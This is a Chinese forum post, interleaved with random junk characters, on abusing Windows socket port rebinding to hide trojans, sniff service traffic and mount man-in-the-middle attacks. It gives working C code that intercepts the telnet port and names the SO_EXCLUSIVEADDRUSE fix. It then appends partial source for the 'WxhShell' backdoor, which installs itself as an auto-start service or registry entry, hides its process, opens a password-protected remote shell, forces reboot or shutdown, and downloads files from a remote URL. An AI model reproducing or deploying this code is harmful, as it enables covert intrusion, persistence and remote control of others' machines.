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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RZ*<n$#6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U4]30B{;H  
l@xWQj9  
  saddr.sin_family = AF_INET; *E.LP1xP  
z23#G>I&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 46ILs1T6  
l/[pEUYU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V5~fMsse  
iZC>)&ax  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KVg[#~3  
?gU}[]  
  这意味着什么?意味着可以进行如下的攻击: JT}.F!q6E  
xg?auje  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }*h47t}  
k j-=xhJ{=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Mw+v"l&mU  
_FT6]I0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7q!?1 -?8R  
I,]J=xi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0Yp>+:#  
04~}IbeJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a%v>eXc  
#vtN+E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w#sq'vo4%  
V n^)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zd$JW=KR]l  
as(;]  
  #include \Yd4gaY\o  
  #include P:qz2Hw  
  #include *<7l!#  
  #include    s"q=2i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d @m\f  
  int main() Gy9 $Wj  
  { F.68iN}  
  WORD wVersionRequested; ZvH?3Jy  
  DWORD ret; z" EWj73  
  WSADATA wsaData; 0 k9<&  
  BOOL val; q~j)W$k  
  SOCKADDR_IN saddr; L1:nfH&:'  
  SOCKADDR_IN scaddr; b;*c:{W)  
  int err; EZ/^nG  
  SOCKET s; bi.wYp(*6L  
  SOCKET sc; Xo\S9,s{  
  int caddsize; $2QYxY9s  
  HANDLE mt; drI\iae{^  
  DWORD tid;   h D.)M  
  wVersionRequested = MAKEWORD( 2, 2 ); d+0^u(gc!8  
  err = WSAStartup( wVersionRequested, &wsaData ); [3kl^TE  
  if ( err != 0 ) { M1EOnq4-  
  printf("error!WSAStartup failed!\n"); #~S>K3(  
  return -1; *!w25t  
  } 68p R:  
  saddr.sin_family = AF_INET; yyjw?#\8  
   |kseKZ3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *,&S',S-  
0yaMe@&,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 57<Di!rt  
  saddr.sin_port = htons(23); x}|+sS,g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FfG%C>E6~  
  { V 9Hl1\j^  
  printf("error!socket failed!\n"); .;g}%C  
  return -1; IT18v[-G  
  } rI>LjHP  
  val = TRUE; SB/3jH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n+rM"Gxz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'BhwNuW\"  
  { o0l7 4  
  printf("error!setsockopt failed!\n"); <aXoB*Y  
  return -1; \E77SO,$  
  } 5B?i(2&#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Im+ 7<3Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yz\ N&0"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X8Fzs!L`  
BPewc9RxV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P$OUi!"  
  { v%nP*i9  
  ret=GetLastError(); $''UlWK  
  printf("error!bind failed!\n"); ?A&%Cwj  
  return -1; G|*G9nQ  
  } 7&foEJ3q  
  listen(s,2); xNIGO/uI~  
  while(1) nmg{%P  
  { c]NN'9G!{  
  caddsize = sizeof(scaddr); #)]E8=}  
  //接受连接请求 j8a[ (  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (:n|v%  
  if(sc!=INVALID_SOCKET) (v^Z BM_  
  { "mA1H]r3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +>}o;`hPe  
  if(mt==NULL) R$d7\nBG  
  { P#;Th8k{K2  
  printf("Thread Creat Failed!\n"); 1'fb @vO  
  break; ~b6GrY"vB  
  } ? |VysJ  
  } TF2KZL#A|  
  CloseHandle(mt); ve fU'  
  } RX>2~^  
  closesocket(s); &a6,ln:P  
  WSACleanup(); !^?qU;|  
  return 0; RG1\=J$:E  
  }   CN\=9Rvs  
  DWORD WINAPI ClientThread(LPVOID lpParam) yb?|Eww_o  
  { ,H{={aln  
  SOCKET ss = (SOCKET)lpParam; [0!{_E)<  
  SOCKET sc; :c:V%0Yji  
  unsigned char buf[4096]; dB7ZT0L\  
  SOCKADDR_IN saddr; F 7LiG9H6`  
  long num; t^U^Tr  
  DWORD val; AY88h$a  
  DWORD ret; R6P\T\~E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BIj   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c\K<sM{  
  saddr.sin_family = AF_INET; $>r5>6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 30d#Lq  
  saddr.sin_port = htons(23); Mk5RHDh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $3\,h; y  
  { vaB!R 0  
  printf("error!socket failed!\n"); {SdO9Yy?@7  
  return -1; b#='^W3  
  } VB"(9O]  
  val = 100; 5v|EAjB6o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ix*muVBj.  
  { tvpN/p  
  ret = GetLastError(); 0T9. M(  
  return -1; " " %#cDR  
  } 6bL~6-h%)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1-o V-K  
  { W.[BPR  
  ret = GetLastError(); ArXl=s';s4  
  return -1; ti2  
  } n&d/?aJ7a\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nog(VN4I&  
  { X<euD9?  
  printf("error!socket connect failed!\n"); mb{q(WEPP  
  closesocket(sc); {[^#h|U  
  closesocket(ss); Ep ">v>"  
  return -1; bV6V02RF  
  } {7X~!e|w  
  while(1) a+ GJVJ  
  { doLNz4W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "+h/-2rA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E9$H nj+m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y6%<zhs  
  num = recv(ss,buf,4096,0); G~!C =l  
  if(num>0) Pa&4)OD  
  send(sc,buf,num,0); fp;a5||5  
  else if(num==0) bE I!Ja  
  break; s MZ[d\  
  num = recv(sc,buf,4096,0); 39D }  
  if(num>0) 4ZI_pf  
  send(ss,buf,num,0); 3U;1D2"AE  
  else if(num==0) kUbnVF5'  
  break; CDCC1BG"  
  } G Y-M.|%  
  closesocket(ss); RxG^  
  closesocket(sc); ;_tO+xL&  
  return 0 ; ,8##OB(  
  } w2zp#;d  
hW' HT  
%?=)!;[  
========================================================== hQ';{5IKvC  
(("OYj  
下边附上一个代码,,WXhSHELL z_l. V/G)  
% rcFT_  
========================================================== jBRPR R0  
1X&B:_  
#include "stdafx.h" lRND  
r/PKrw sC  
#include <stdio.h> *rf$>8~$n  
#include <string.h> aR)?a;}H  
#include <windows.h> ik\S88|  
#include <winsock2.h> \ja `c)x  
#include <winsvc.h> GYoseqZM  
#include <urlmon.h> .'lN4x  
3dm'xe tM  
#pragma comment (lib, "Ws2_32.lib") P4 6,o  
#pragma comment (lib, "urlmon.lib") 'C~9]Y].  
j)L1H* S%  
#define MAX_USER   100 // 最大客户端连接数 X4Xf2aXI  
#define BUF_SOCK   200 // sock buffer MGybGbd  
#define KEY_BUFF   255 // 输入 buffer Z*eoA  
d~`-AC+  
#define REBOOT     0   // 重启 W4vBf^eC  
#define SHUTDOWN   1   // 关机 ' ^a!`"Bc  
8*Zvr&B,G  
#define DEF_PORT   5000 // 监听端口 4bI*jEc\[  
~6d5zI4\  
#define REG_LEN     16   // 注册表键长度 F$yeF^\g  
#define SVC_LEN     80   // NT服务名长度 [Vp\$;\nT  
@T7PZB&xnl  
// 从dll定义API , N 344y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J"&y |; G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q"nGy#UWR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zs8I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v<&v]!nF  
";dU-\3M  
// wxhshell配置信息 e /94y6*>  
struct WSCFG { K7RKF$Z\  
  int ws_port;         // 监听端口 `qu] Pxk  
  char ws_passstr[REG_LEN]; // 口令 CQ>]jQ,2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4B$bj `h  
  char ws_regname[REG_LEN]; // 注册表键名 a))*F!}c  
  char ws_svcname[REG_LEN]; // 服务名 B.K4!/cF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3;Hd2 ;G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g1V)$s 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s0!kwrBsp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no voh^|(:(TH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J]\^QMX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^PQM;"  
os**hFPk;1  
}; _FsB6 G]mc  
EfKntrom[  
// default Wxhshell configuration j^ I!6j=ZX  
struct WSCFG wscfg={DEF_PORT, } 07r  
    "xuhuanlingzhe", xwOE+  
    1, (8x gn  
    "Wxhshell", ]!aUT&  
    "Wxhshell", @p]UvqtB@  
            "WxhShell Service", \Tkp  
    "Wrsky Windows CmdShell Service", 3EOyq^I%  
    "Please Input Your Password: ", bA *"ei+!  
  1, S:GTc QU  
  "http://www.wrsky.com/wxhshell.exe", :8]6#c6`74  
  "Wxhshell.exe" e=J*Esc@k  
    }; rr )/`Kmv%  
u){S$</  
// 消息定义模块 x4 hO$3o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `]{Psc6_=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,`)OEI|1d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kf K[u/<i  
char *msg_ws_ext="\n\rExit."; :rmauKR  
char *msg_ws_end="\n\rQuit."; 4(|yD;  
char *msg_ws_boot="\n\rReboot..."; 0BDS_Rx  
char *msg_ws_poff="\n\rShutdown..."; pVz*ZQ[]  
char *msg_ws_down="\n\rSave to "; PWG;&ma  
{(0Id!  
char *msg_ws_err="\n\rErr!"; fTgbF{?xh  
char *msg_ws_ok="\n\rOK!"; }4KW@L[g  
'!@A}&]  
char ExeFile[MAX_PATH]; 8Fx]koP.  
int nUser = 0; |^!Vo&T  
HANDLE handles[MAX_USER]; /.@x 4cdS  
int OsIsNt; . s-5N\  
3):?ZCw7y  
SERVICE_STATUS       serviceStatus; +7Rt{C,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :D4];d>1  
8]]@S"ZM,\  
// 函数声明 6sy,A~e  
int Install(void); .hne)K%={y  
int Uninstall(void); xT=ySa$|>  
int DownloadFile(char *sURL, SOCKET wsh); TrQm]9@  
int Boot(int flag); c(&AnIlS  
void HideProc(void); rkIMM,   
int GetOsVer(void); |0]YA  
int Wxhshell(SOCKET wsl); dk:xnX%  
void TalkWithClient(void *cs); rXDJ:NP  
int CmdShell(SOCKET sock); ;-Ado8  
int StartFromService(void); K1-+A2snhV  
int StartWxhshell(LPSTR lpCmdLine); #G~wE*VR$  
k.Gl4 x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oX{@'B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9 tAE#A  
6VFirLd  
// 数据结构和表定义 UOJ*a1BM  
SERVICE_TABLE_ENTRY DispatchTable[] = kwc*is  
{ 23k)X"5  
{wscfg.ws_svcname, NTServiceMain}, oN ;-M-(  
{NULL, NULL} pU@YiwP"]x  
}; IywiCMjH  
{83C,C-  
// 自我安装 Rv,Mu3\~#c  
int Install(void) ->3uOF!q  
{ F {/>u(@3  
  char svExeFile[MAX_PATH]; G g(NGT  
  HKEY key; yZ|+VXO  
  strcpy(svExeFile,ExeFile);  h,~tXj  
$$\V 2%v  
// 如果是win9x系统,修改注册表设为自启动 ^vG=|X|)c  
if(!OsIsNt) { X&.:H~xS+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nuo^+z E   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~W3:xnBEk  
  RegCloseKey(key); ;/R kMS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LS{bg.e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0W_mCV  
  RegCloseKey(key); X*)?LxTj  
  return 0; $8Ig&k|~8  
    }  d~sJ=)  
  } V07VwVD  
} Yfe'#MKfL  
else { `ReGnT[  
9p4%8WhJ  
// 如果是NT以上系统,安装为系统服务 },v&rkwR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]d^ k4 d  
if (schSCManager!=0) 'H!V54 \j  
{ TqXg e{r  
  SC_HANDLE schService = CreateService W oWBs)E  
  ( FN>L7 *,0  
  schSCManager, <c(&T<$  
  wscfg.ws_svcname, _TrZ'iL}T  
  wscfg.ws_svcdisp, N6WPTUQ1mF  
  SERVICE_ALL_ACCESS, rykj2/O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Jptj  
  SERVICE_AUTO_START, gU+ss  
  SERVICE_ERROR_NORMAL, WqR7uiCi  
  svExeFile, el}hcAY/RP  
  NULL, X:U=MWc>  
  NULL, u |'8a1  
  NULL, [z^Od  
  NULL, !ZX&r{pJp  
  NULL #s*k| j}  
  ); 2G ZF/9}  
  if (schService!=0) K[e`t%2_  
  { xUIvLH=  
  CloseServiceHandle(schService); `t%|.=R  
  CloseServiceHandle(schSCManager); e~3]/BL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @`5QG2  
  strcat(svExeFile,wscfg.ws_svcname); |^ ?`Q.|c$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <>VID E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qg[heND  
  RegCloseKey(key); b$dBV}0 L  
  return 0;  8>ESD}(  
    } xC'mPcU8  
  } t?KUK>>w  
  CloseServiceHandle(schSCManager); ::v;)VdX+*  
} Z>X9J(=  
} aXX,Zu^  
4{Q$!O>  
return 1; U7jhV,gO4  
} eU`;L [  
F|6 nwvgq  
// 自我卸载 3xP~~j;7  
int Uninstall(void) JR] )xPI`  
{ -!@H["  
  HKEY key; jiqi!*  
0h^uOA; c  
if(!OsIsNt) { vf6`s\6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5QKRI)XpZ  
  RegDeleteValue(key,wscfg.ws_regname); dJloH)uJZ>  
  RegCloseKey(key); 0 4P.p6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  c^rC8E  
  RegDeleteValue(key,wscfg.ws_regname); ={\![{L  
  RegCloseKey(key); DE5d]3B  
  return 0; z'?SRK5+  
  } I; ^xAd3G  
} ?Y%}(3y  
} VIb;96$Or  
else { 92s4u3 L;  
B^H4Q 4-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j'\>Nn+  
if (schSCManager!=0) >y]?MGk  
{ (qJIu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9*BoYFw92*  
  if (schService!=0) pi|\0lH6W  
  { t#a.}Jl  
  if(DeleteService(schService)!=0) { ]U_5\$  
  CloseServiceHandle(schService); b*cW<vX}~  
  CloseServiceHandle(schSCManager); :b.3CL\.6  
  return 0; dv}8Y H["  
  } TihnSb  
  CloseServiceHandle(schService); |Uc <;> l  
  } eH ;Wfs2f  
  CloseServiceHandle(schSCManager); ^cB49s+{e  
} )ZQHa7V  
} dz{#"No0  
Cq-hPa}2  
return 1; pTc$+Z7 3  
} #E*@/ p/  
nUiS<D2  
// 从指定url下载文件 8w03{H 0  
int DownloadFile(char *sURL, SOCKET wsh) O 5g}2  
{ z`c%?_EK  
  HRESULT hr; 0PYvey }[  
char seps[]= "/"; G%xb0%oi]%  
char *token; p^T&jE8])#  
char *file; eLCdAr  
char myURL[MAX_PATH]; ll^Th >  
char myFILE[MAX_PATH]; =AWX +znP  
sGXp}{E9  
strcpy(myURL,sURL); f1)HHUB  
  token=strtok(myURL,seps); W/#KX}4  
  while(token!=NULL) Kl4isGcr]  
  { 7h(HG?2Y  
    file=token; ) ~ l\  
  token=strtok(NULL,seps); 1[26w_B3  
  } >`<Ued  
Mr$# e  
GetCurrentDirectory(MAX_PATH,myFILE);  aeEw#  
strcat(myFILE, "\\"); OG0r4^6Ly  
strcat(myFILE, file); ^RYn8I  
  send(wsh,myFILE,strlen(myFILE),0); lF0K=L  
send(wsh,"...",3,0); D."cQ<sxpN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _{N0OX  
  if(hr==S_OK) T+`xr0  
return 0; N7d17c. 5  
else (J6" ;  
return 1; "9c.CI  
yTzY?  
} *rS9eej  
6Hc H'nmeN  
// 系统电源模块 qFV;n6&V  
int Boot(int flag) Ly#h|)  
{ ~%olCxfO  
  HANDLE hToken; TX< e_[$\  
  TOKEN_PRIVILEGES tkp; t#fs:A7P?}  
Xg|8".B)A  
  if(OsIsNt) { D+bB G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2z'+1+B'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %4bO_vb<9  
    tkp.PrivilegeCount = 1; LXBbz;vYl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #JK;& Dg!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;k9 ?  
if(flag==REBOOT) { yd7lcb [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p:DL:^zx  
  return 0; Y}AmX  
} ap Fs UsE  
else { *ge].E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jA20c(O  
  return 0; y0/WA4,  
} "6NFe!/Y$*  
  } Dj-\))L  
  else { o0zc}mm  
if(flag==REBOOT) { 08<k'Oi]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1x~%Ydy  
  return 0; $sA,$x:^xI  
} 8[6ny=S`  
else { 7Vz[ji  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bBkm]  >  
  return 0; !^c:'I>~  
} qZT 4+&y  
} 3MNhH  
'Qm` A=  
return 1; 4e=/f,o1  
} ,Y+r<;  
Ss"|1]acP  
// win9x进程隐藏模块 8>C; >v  
void HideProc(void) zWCW:dI  
{ ^CowJ(y(  
.Q=2WCv0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( z8]FT  
  if ( hKernel != NULL ) @-)<|orU4  
  { \iFMU#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?aK'OIo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ze [g0"  
    FreeLibrary(hKernel); Y9IJ   
  } Cm,*bgX  
 ltCwns  
return; ;n(#b8r9  
} ]`#xR *a  
e5*5.AB6&  
// 获取操作系统版本 9f\aoVX  
int GetOsVer(void) bE7(L $UF  
{ R&u)=~O\5  
  OSVERSIONINFO winfo; jMm_A#V>p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N<#S3B?.  
  GetVersionEx(&winfo); 2*~JMbm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SR&(HH$  
  return 1; #~bU}[{  
  else Zu2m%=J`  
  return 0; 9IS1.3  
} l _kg3e4  
u4b3bH9U  
// 客户端句柄模块 "e1{V8 4  
int Wxhshell(SOCKET wsl) hj^G} 4  
{ E5,%J  
  SOCKET wsh; ?~VWW<lR  
  struct sockaddr_in client; -Z`(? k  
  DWORD myID; 6=Y3(#Ddt  
c]AKeq]  
  while(nUser<MAX_USER) B$}wF<`k7  
{ 8! |.H p  
  int nSize=sizeof(client); EmtDrx4!(f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U~u6}s]:  
  if(wsh==INVALID_SOCKET) return 1; dCf'\ @<<  
Bo](n*i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p0}+071o%  
if(handles[nUser]==0) >cwJl@wx-  
  closesocket(wsh); <r_P? lZW  
else >5Q^9 9V  
  nUser++; (uuEjM$3%  
  } Pi&fwGL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OCbQB5k3  
Vze!/ED  
  return 0; %fn'iKCB  
} "k\Ff50  
JEK%yMj  
// 关闭 socket F"B<R~  
void CloseIt(SOCKET wsh) Sa h<sb=  
{ 6i9Q ,4~  
closesocket(wsh); 0UM@L }L  
nUser--; K^z5x#Yj  
ExitThread(0); Y0P}KPD  
} Hm+6QgCs  
ZXssvjWQV}  
// 客户端请求句柄 4*N@=v  
void TalkWithClient(void *cs) [3{:H"t  
{ dU sJv  
/?.r!Cp  
  SOCKET wsh=(SOCKET)cs; JqVBT+:  
  char pwd[SVC_LEN]; _H^^2#wc/  
  char cmd[KEY_BUFF]; HobGl0<y  
char chr[1]; N[+o[%A  
int i,j; A:8FJ3'  
ohQz%?r  
  while (nUser < MAX_USER) { YO.`l~ v  
K%[}[.cW  
if(wscfg.ws_passstr) { 1}n)J6m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )M&Azbu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2iKi(io*  
  //ZeroMemory(pwd,KEY_BUFF); WL)_8!  
      i=0; #"=yQZ6Y  
  while(i<SVC_LEN) { nU?Xc(Xy  
{L-{Y<fke  
  // 设置超时 wRV`v$*6  
  fd_set FdRead; 4AJu2Hp  
  struct timeval TimeOut; ;*>QG6Fh  
  FD_ZERO(&FdRead); ]Vf8mkDGO  
  FD_SET(wsh,&FdRead); M@!]U:5~V  
  TimeOut.tv_sec=8; o5*74Mv  
  TimeOut.tv_usec=0; h|c:!VN@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @mQ/W Ys  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  2#$}yP~  
y0&V$uv/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T;:',T[G  
  pwd=chr[0]; cdek^/  
  if(chr[0]==0xd || chr[0]==0xa) { uusY,Dt/9  
  pwd=0; :N*q;j>  
  break; $ sA~p_]  
  } K d`l[56#  
  i++; +e\:C~2f28  
    } <M =W)2D7  
zal3j^  
  // 如果是非法用户,关闭 socket DMK"Q#Vw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fu1|b2B-x  
} XqE55Jclp  
lk+=2 6>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yn[EI7D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iP#A-du  
HAI1%F236  
while(1) { xy z\;3  
lvz:UWo  
  ZeroMemory(cmd,KEY_BUFF); 72 s$  
% Zl_{Q]h  
      // 自动支持客户端 telnet标准   :nbW.B3GV  
  j=0; $E4O^0%/p  
  while(j<KEY_BUFF) { X('Q;^`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `3>)BV<P  
  cmd[j]=chr[0]; wEo-a< (  
  if(chr[0]==0xa || chr[0]==0xd) { ]mO+<{{4X  
  cmd[j]=0;  jKb=Zkd  
  break; d9[6kQ]  
  } 0()9vTY+  
  j++; Ro3I/NI>  
    } HhQPgjZ/  
x w?9W4<  
  // 下载文件 N8L)KgM5#7  
  if(strstr(cmd,"http://")) { V"2AN3~&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H,4,~lv|  
  if(DownloadFile(cmd,wsh)) g*w-"%"O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%/,j)VKD  
  else <-oRhi4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }07<(,0n  
  } !g8.8(/t)  
  else { d'g{K]=tF  
0|DG\&?  
    switch(cmd[0]) { 2fL88/'  
  I8-&.RE  
  // 帮助 QLpTz"H  
  case '?': { d=+Lv<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /bNVgK`L5  
    break; L/ICFa.G  
  } {L2Gb(YLW  
  // 安装 ?w5nKpG#RI  
  case 'i': { )Ido|!]0d  
    if(Install()) si mX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q2j}64o _S  
    else B'BbTI,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }&C!^v o  
    break; HU'`kimWb  
    } [%)B%h`XGf  
  // 卸载 KbuGf$Bv  
  case 'r': { DRmh(T  
    if(Uninstall()) 2G:{FY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $RFu m'`5  
    else G/RheH G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <GFB'`L  
    break; KAZkVL  
    } 7i|hlk;  
  // 显示 wxhshell 所在路径 o}^vREO  
  case 'p': { I3E8vi%B.  
    char svExeFile[MAX_PATH]; iDkWW  
    strcpy(svExeFile,"\n\r"); `bi_)i6Low  
      strcat(svExeFile,ExeFile); oj4)7{  
        send(wsh,svExeFile,strlen(svExeFile),0); }HQT@&=  
    break; Q]?J%P.  
    } +KwF U  
  // 重启 e[ k;SSs  
  case 'b': { >0;"qT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XY t8vJ  
    if(Boot(REBOOT)) HI?~t| [y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0$9c  
    else { TI7Ty+s  
    closesocket(wsh); /qQ2@k  
    ExitThread(0); ]#7Y @Yo  
    } 4[EO[x4C  
    break; Nxs%~ wZ   
    } ThQEQ6y  
  // 关机 Ynh4oWUp  
  case 'd': { {^19.F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kA :;c}p  
